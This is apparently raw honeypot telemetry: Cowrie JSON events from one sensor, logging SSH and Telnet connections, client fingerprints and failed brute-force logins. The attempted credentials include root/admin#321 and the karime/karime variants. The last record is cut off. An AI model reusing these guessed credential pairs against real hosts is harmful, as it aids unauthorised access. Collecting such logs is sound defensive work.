{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:45.706878Z","src_ip":"122.168.194.41","session":"ecc5bb4d9816","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin#321","message":"login attempt [root/admin#321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:46.821946Z","src_ip":"122.168.194.41","session":"ecc5bb4d9816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:48.098304Z","src_ip":"122.168.194.41","session":"ecc5bb4d9816","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.216.82.22","src_port":64209,"dst_ip":"159.203.135.109","dst_port":23,"session":"34ed062f9123","protocol":"telnet","message":"New connection: 41.216.82.22:64209 (159.203.135.109:23) [session: 34ed062f9123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:50.826225Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":14320,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e9834b2c708","protocol":"ssh","message":"New connection: 193.24.211.100:14320 (159.203.135.109:22) [session: 4e9834b2c708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:52.146536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:52.190867Z","src_ip":"193.24.211.100","session":"4e9834b2c708","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:52.317683Z","src_ip":"193.24.211.100","session":"4e9834b2c708","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234%","message":"login attempt [root/admin1234%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:52.780501Z","src_ip":"193.24.211.100","session":"4e9834b2c708","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:53.892488Z","src_ip":"193.24.211.100","session":"4e9834b2c708","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":32304,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fd9fcc97619","protocol":"ssh","message":"New connection: 213.209.159.56:32304 (159.203.135.109:22) [session: 7fd9fcc97619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:55.226722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:55.231508Z","src_ip":"213.209.159.56","session":"7fd9fcc97619","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:55.314851Z","src_ip":"213.209.159.56","session":"7fd9fcc97619","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karime","password":"karime","message":"login attempt [karime/karime] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:55.715524Z","src_ip":"213.209.159.56","session":"7fd9fcc97619","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karime","password":"karime1","message":"login attempt [karime/karime1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:56.800562Z","src_ip":"213.209.159.56","session":"7fd9fcc97619","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.01796007156372,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:57.184771Z","src_ip":"128.199.8.54","session":"dc6499da57dc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"karime","password":"karime123","message":"login attempt [karime/karime123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:57.885475Z","src_ip":"213.209.159.56","session":"7fd9fcc97619","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":22672,"dst_ip":"10.17.0.5","dst_port":23,"session":"2676b7931580","protocol":"telnet","message":"New connection: 212.55.149.117:22672 (10.17.0.5:23) [session: 2676b7931580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:58.181107Z"}
{"eventid":"cowrie.login.failed","username":"karime","password":"karime1234","message":"login attempt [karime/karime1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:30:58.970013Z","src_ip":"213.209.159.56","session":"7fd9fcc97619","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karime","password":"karime12345","message":"login attempt [karime/karime12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:00.055674Z","src_ip":"213.209.159.56","session":"7fd9fcc97619","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:01.143230Z","src_ip":"213.209.159.56","session":"7fd9fcc97619","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.648645401000977,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:06.151086Z","src_ip":"128.199.8.54","session":"092ea3fc1675","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.570843696594238,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:06.396955Z","src_ip":"41.216.82.22","session":"34ed062f9123","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52184,"dst_ip":"159.203.135.109","dst_port":23,"session":"39dc75d3022e","protocol":"telnet","message":"New connection: 128.199.8.54:52184 (159.203.135.109:23) [session: 39dc75d3022e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:08.311193Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56360,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b29c2f5fd4e","protocol":"telnet","message":"New connection: 128.199.8.54:56360 (159.203.135.109:23) [session: 3b29c2f5fd4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:09.342931Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36200,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4013828f7f9","protocol":"telnet","message":"New connection: 128.199.8.54:36200 (159.203.135.109:23) [session: d4013828f7f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:13.374392Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38566,"dst_ip":"159.203.135.109","dst_port":23,"session":"639733e11598","protocol":"telnet","message":"New connection: 128.199.8.54:38566 (159.203.135.109:23) [session: 639733e11598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:14.528953Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":33248,"dst_ip":"10.17.0.5","dst_port":22,"session":"301c8566d577","protocol":"ssh","message":"New connection: 103.15.226.202:33248 (10.17.0.5:22) [session: 301c8566d577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:23.551357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:23.555617Z","src_ip":"103.15.226.202","session":"301c8566d577","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:23.813139Z","src_ip":"103.15.226.202","session":"301c8566d577","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2023","message":"login attempt [root/2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:24.570579Z","src_ip":"103.15.226.202","session":"301c8566d577","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:25.825344Z","src_ip":"103.15.226.202","session":"301c8566d577","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":58548,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ec66bbd6a56","protocol":"ssh","message":"New connection: 2.57.122.208:58548 (159.203.135.109:22) [session: 9ec66bbd6a56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:26.831289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:26.920177Z","src_ip":"2.57.122.208","session":"9ec66bbd6a56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:27.030828Z","src_ip":"2.57.122.208","session":"9ec66bbd6a56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evm","password":"evm","message":"login attempt [evm/evm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:27.724192Z","src_ip":"2.57.122.208","session":"9ec66bbd6a56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:29.079758Z","src_ip":"2.57.122.208","session":"9ec66bbd6a56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49366,"dst_ip":"159.203.135.109","dst_port":23,"session":"588ab395d648","protocol":"telnet","message":"New connection: 128.199.8.54:49366 (159.203.135.109:23) [session: 588ab395d648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:37.056418Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56234,"dst_ip":"159.203.135.109","dst_port":23,"session":"91bfb9c7d33c","protocol":"telnet","message":"New connection: 128.199.8.54:56234 (159.203.135.109:23) [session: 91bfb9c7d33c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:38.583308Z"}
{"eventid":"cowrie.session.closed","duration":34.08088302612305,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:42.391968Z","src_ip":"128.199.8.54","session":"39dc75d3022e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40030,"dst_ip":"159.203.135.109","dst_port":23,"session":"b01002a12e73","protocol":"telnet","message":"New connection: 128.199.8.54:40030 (159.203.135.109:23) [session: b01002a12e73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:44.504508Z"}
{"eventid":"cowrie.session.closed","duration":35.669424295425415,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:45.012246Z","src_ip":"128.199.8.54","session":"3b29c2f5fd4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.194.41","src_port":58788,"dst_ip":"159.203.135.109","dst_port":22,"session":"0195ebc41dc7","protocol":"ssh","message":"New connection: 122.168.194.41:58788 (159.203.135.109:22) [session: 0195ebc41dc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:46.375936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:46.382860Z","src_ip":"122.168.194.41","session":"0195ebc41dc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:46.654631Z","src_ip":"122.168.194.41","session":"0195ebc41dc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.33564805984497,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:47.709948Z","src_ip":"128.199.8.54","session":"d4013828f7f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.38.85.149","src_port":41818,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bf47d6a3977","protocol":"ssh","message":"New connection: 198.38.85.149:41818 (10.17.0.5:22) [session: 2bf47d6a3977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:47.761395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:47.766248Z","src_ip":"198.38.85.149","session":"2bf47d6a3977","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"qawzse","message":"login attempt [guest/qawzse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:31:47.789744Z","src_ip":"122.168.194.41","session":"0195ebc41dc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@